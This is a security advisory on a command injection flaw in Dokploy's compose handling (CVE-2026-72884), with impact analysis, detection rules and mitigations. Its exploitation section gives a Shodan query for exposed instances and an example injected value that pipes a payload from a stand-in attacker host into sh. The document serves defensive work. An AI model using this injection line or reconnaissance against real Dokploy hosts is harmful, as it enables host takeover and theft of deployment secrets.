CVE-2026-72884

Executive Summary

CVE-2026-72884 is an operating system command injection vulnerability (CWE-78) in Dokploy, a free, self-hostable Platform as a Service (PaaS). In versions prior to 0.29.13, the sanitizeCommand function in packages/server/src/utils/builders/compose.ts insufficiently cleans attacker-controlled compose.command data before it is passed to exportEnvCommand and docker command interpolation, allowing an authenticated user who can update a Compose service to execute arbitrary commands on the Dokploy host. The vendor has claimed a fix in version 0.29.13; no public PoC exploit or CISA KEV listing is currently known.

Technical Analysis

The vulnerability is located in the server-side build/compose workflow of Dokploy. The affected function, sanitizeCommand in packages/server/src/utils/builders/compose.ts, is intended to sanitize user-supplied compose.command content before that value is used in shell-adjacent operations. Based on the advisory, the sanitizer only performs two actions:

• It trims surrounding whitespace from the command string.
• It strips surrounding quotes from the command string.

It does not remove, escape, or reject shell metacharacters. Because the attacker-controlled compose.command is subsequently interpolated into exportEnvCommand and docker command execution, any metacharacters present in the value can break out of the intended command context. Common shell metacharacters such as ;, &&, |, backticks, and $() would be sufficient to append or substitute arbitrary system commands.

The quote-stripping behavior is particularly significant: an operator may believe that wrapping the command in single or double quotes protects the pipeline, but those quotes are simply removed before interpolation, leaving any embedded metacharacters active.

The attack surface is the authenticated Dokploy web interface or API used to update or create Compose services. The attacker must be able to modify a Compose service definition, which is a normal capability for certain tenant or administrator roles in a self-hosted PaaS. Once a malicious compose.command value is stored, the server-side build/deploy process executes it in the context of the Dokploy host, not inside an isolated network namespace.

No CVSS vector has been published for this CVE, so no severity subscores are available. The EPSS score is 0.00426, placing the vulnerability at the 35.5th percentile of exploited CVEs, which indicates a relatively low current exploitation probability but does not reduce the severity of a host-level command injection flaw.

Exploitation Scenarios

No public proof-of-concept is currently available. The following attack chain is inferred from the vulnerability class and the technical description.

1. Reconnaissance and target identification
   An attacker identifies an internet-facing Dokploy instance. Dokploy is a self-hosted PaaS, so exposed management interfaces are common in smaller teams. Shodan queries such as http.title:"Dokploy" can be used to locate candidate targets.

2. Gaining authenticated access or abusing existing access
   The attacker must have an authenticated account with permission to update a Compose service. This may be obtained through legitimate credentials, weak passwords, or abuse of overly permissive tenant roles. In multi-tenant deployments, any developer or tenant user allowed to manage Compose services is a potential threat.

3. Triggering the vulnerability
   The attacker edits the compose.command field of a Compose service and inserts a command string containing shell metacharacters. For example, a value in the form of:

   legitimate_command ; curl http://attacker.example/payload.sh | sh
   

   would survive the weak sanitizeCommand filtering because the semicolon, pipe, and command substitution are not blocked. The exact HTTP request shape and API endpoints are not documented in the advisory, but the underlying data flow is clear: the field must be persisted and later used by the compose/build pipeline.

4. Arbitrary command execution and post-exploitation
   When the Compose service is updated or deployed, the unsanitized compose.command is interpolated into exportEnvCommand and docker command execution. The injected command executes with the privileges of the Dokploy server process. Successful exploitation yields arbitrary command execution on the host. An attacker can then exfiltrate environment secrets, access Docker credentials, manipulate other hosted applications, install persistence, or pivot deeper into the infrastructure.

Impact Assessment

CVE-2026-72884 is a command injection vulnerability in the control plane of a self-hosted PaaS. Successful exploitation results in arbitrary command execution on the Dokploy host, not merely inside a container. The blast radius includes all applications and workloads managed by that Dokploy instance.

Because a PaaS control plane typically holds deployment credentials, registry credentials, environment variables, and access to Docker sockets, host-level compromise can lead to:

• Full loss of confidentiality for all hosted application data and secrets.
• Loss of integrity through modification of deployed applications and infrastructure configuration.
• Loss of availability through destruction of containers, images, or the host operating system.
• Lateral movement into adjacent networks that the Dokploy host can reach.

The vulnerability requires an authenticated user with Compose update permissions. In a single-administrator deployment, this still represents a serious threat if an account is compromised. In a multi-tenant deployment, the risk is elevated because a lower-privileged tenant may become a host administrator.

At the time of writing, no CVSS vector has been provided, so confidentiality, integrity, and availability impact subscores cannot be referenced. However, based on the vulnerability class and the underlying mechanism, the real-world impact should be treated as high. The current EPSS score (0.00426) suggests limited immediate in-the-wild exploitation, but command injection flaws in management interfaces are commonly weaponized after vendor disclosure.

Detection Guidance

Sigma Rule

title: Dokploy CVE-2026-72884 Compose Command Injection Attempt
status: experimental
description: Detects docker compose commands containing shell metacharacters that may indicate exploitation of CVE-2026-72884.
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: /docker
        CommandLine|contains|all:
            - 'compose'
    injection:
        CommandLine|contains:
            - ';'
            - '&&'
            - '|'
            - '`'
            - '$('
    filter:
        CommandLine|contains:
            - 'docker-compose'
    condition: selection and injection and not filter
falsepositives:
    - Legitimate multi-command compose stack invocation
    - Administrative scripts that intentionally chain docker compose commands
level: high

YARA Rule

rule Dokploy_CVE_2026_72884_Compose_Command_Injection
{
    meta:
        cve = "CVE-2026-72884"
        author = "Valters IT Analyst"
        description = "Matches log entries or HTTP request payloads containing compose.command with shell metacharacters associated with CVE-2026-72884."
    strings:
        $compose_field = "compose.command"
        $semicolon  = ";"
        $double_amp = "&&"
        $pipe       = "|"
        $backtick   = "`"
        $subshell   = "$("
    condition:
        $compose_field and any of ($semicolon, $double_amp, $pipe, $backtick, $subshell) and filesize < 5MB
}

Suricata IDS Rule

alert http any any -> any any (msg:"Dokploy CVE-2026-72884 Compose Command Injection Attempt"; flow:established,to_server; http.request_body; content:"compose.command"; pcre:"/(?:;|\&\&|\||`|\$\().*$/i"; classtype:attempted-admin; sid:202672884; rev:1;)

Elastic Detection

process where process.name == "docker" and process.command_line like "*compose*" and (process.command_line like "*;*" or process.command_line like "*&&*" or process.command_line like "*|*" or process.command_line like "*`*" or process.command_line like "*$(*")

Splunk SPL Query

index=*
| search "docker compose" OR "docker-compose"
| regex _raw="(\;|\&\&|\||\x60|\$\()"
| table _time host source sourcetype _raw

Wazuh OSSEC Rule

<rule id="248059" level="12">
  <regex>docker[ -]compose.*(\$\(|;|\&amp;\&amp;|\||\x60)</regex>
  <description>Dokploy CVE-2026-72884 Compose Command Injection Attempt</description>
  <group>attack,execution,exploit_attempt,</group>
</rule>

Mitigation & Patch Guidance

Patch confidence is 2/4 — the fix in Dokploy 0.29.13 is claimed by a single source (OSV) and has not been independently confirmed. Organizations should verify the fix by reviewing the official vendor release before considering the vulnerability fully addressed.

1. Immediate mitigations

   • Restrict the ability to create and update Compose services to only trusted administrators.
   • Remove or disable accounts for users who do not require compose management capabilities.
   • Restrict network access to the Dokploy management interface using firewalls or VPNs.
   • Audit all existing compose service definitions for suspicious compose.command values containing shell metacharacters.

2. Patch and upgrade steps

   • Plan an upgrade to Dokploy version 0.29.13.
   • Because the patch is only claimed by OSV, validate the release through the official Dokploy repository and changelog before production deployment.
   • After upgrading, re-check compose-based deployments for unexpected command modifications.

3. Long-term hardening

   • Apply defense-in-depth by running Dokploy with the minimum operating system privileges required.
   • Isolate the Dokploy host from tenant application networks.
   • Implement shell metacharacter allowlisting or robust command validation at the application layer.
   • Monitor process creation, especially docker compose invocations, for shell metacharacter injection patterns.
   • Enforce strong authentication and conditional access for all Dokploy users, including tenant accounts.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-72884
• OSV Vulnerability Search: https://osv.dev/list?q=CVE-2026-72884
• Dokploy GitHub Repository: https://github.com/Dokploy/dokploy
• Dokploy Releases / Patch History: https://github.com/Dokploy/dokploy/releases
• MITRE ATT&CK Technique T1059: https://attack.mitre.org/techniques/T1059/

No known threat actor campaigns or exploit-in-the-wild evidence has been identified for CVE-2026-72884 at the time of writing.